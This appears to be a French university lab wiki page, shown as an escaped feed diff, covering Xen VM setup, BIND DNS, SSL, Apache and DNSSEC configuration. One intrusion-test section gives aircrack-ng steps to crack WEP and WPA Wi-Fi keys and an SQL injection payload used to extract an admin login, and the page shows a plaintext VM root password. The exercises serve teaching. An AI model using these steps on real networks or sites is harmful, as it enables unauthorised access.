On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html&lt;br /&gt;
&lt;br /&gt;
=Securisation du DNS avec DNSSEC =&lt;br /&gt;
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec &lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club&lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club&lt;br /&gt;
&lt;br /&gt;
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private}  &lt;br /&gt;
on ajoute dans /etc/bind/db.corona59.club :&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-ksk.key&amp;quot;&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-zsk.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On signe avec la commande :&lt;br /&gt;
 dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk&lt;br /&gt;
&lt;br /&gt;
on obtient :&lt;br /&gt;
 Verifying the zone using the following algorithms:&lt;br /&gt;
 - NSEC3RSASHA1&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                         ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
 ../db.corona59.club.signed&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un fichier que l'on renomme en corona59.club.signed&lt;br /&gt;
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :&lt;br /&gt;
 zone &amp;quot;corona59.club&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club.signed&amp;quot;;&lt;br /&gt;
	allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.&lt;br /&gt;
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;br /&gt;
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.&lt;br /&gt;
&lt;br /&gt;
=TP ASR=&lt;br /&gt;
&lt;br /&gt;
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'&lt;br /&gt;
on définit une clé SSH et créé un environnement python virtuel : &lt;br /&gt;
 $ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C &amp;quot;your.name@polytech-lille.net&amp;quot; -P ''&lt;br /&gt;
&lt;br /&gt;
 $ python3 -m venv ~/env-ansible&lt;br /&gt;
 $ . ~/env-ansible/bin/activate&lt;br /&gt;
 $ pip3 install -U setuptools wheel&lt;br /&gt;
 $ pip3 install -U ansible&lt;br /&gt;
&lt;br /&gt;
puis &lt;br /&gt;
 $ ansible-playbook -v -i inventory polytech.yaml&lt;br /&gt;
&lt;br /&gt;
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :&lt;br /&gt;
 $ cd /etc/xen&lt;br /&gt;
 $ xen create pra-11.cfg&lt;br /&gt;
 $ xen console pra-11&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57812</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57812"/>
				<updated>2022-01-10T18:25:28Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Securisation du DNS avec DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
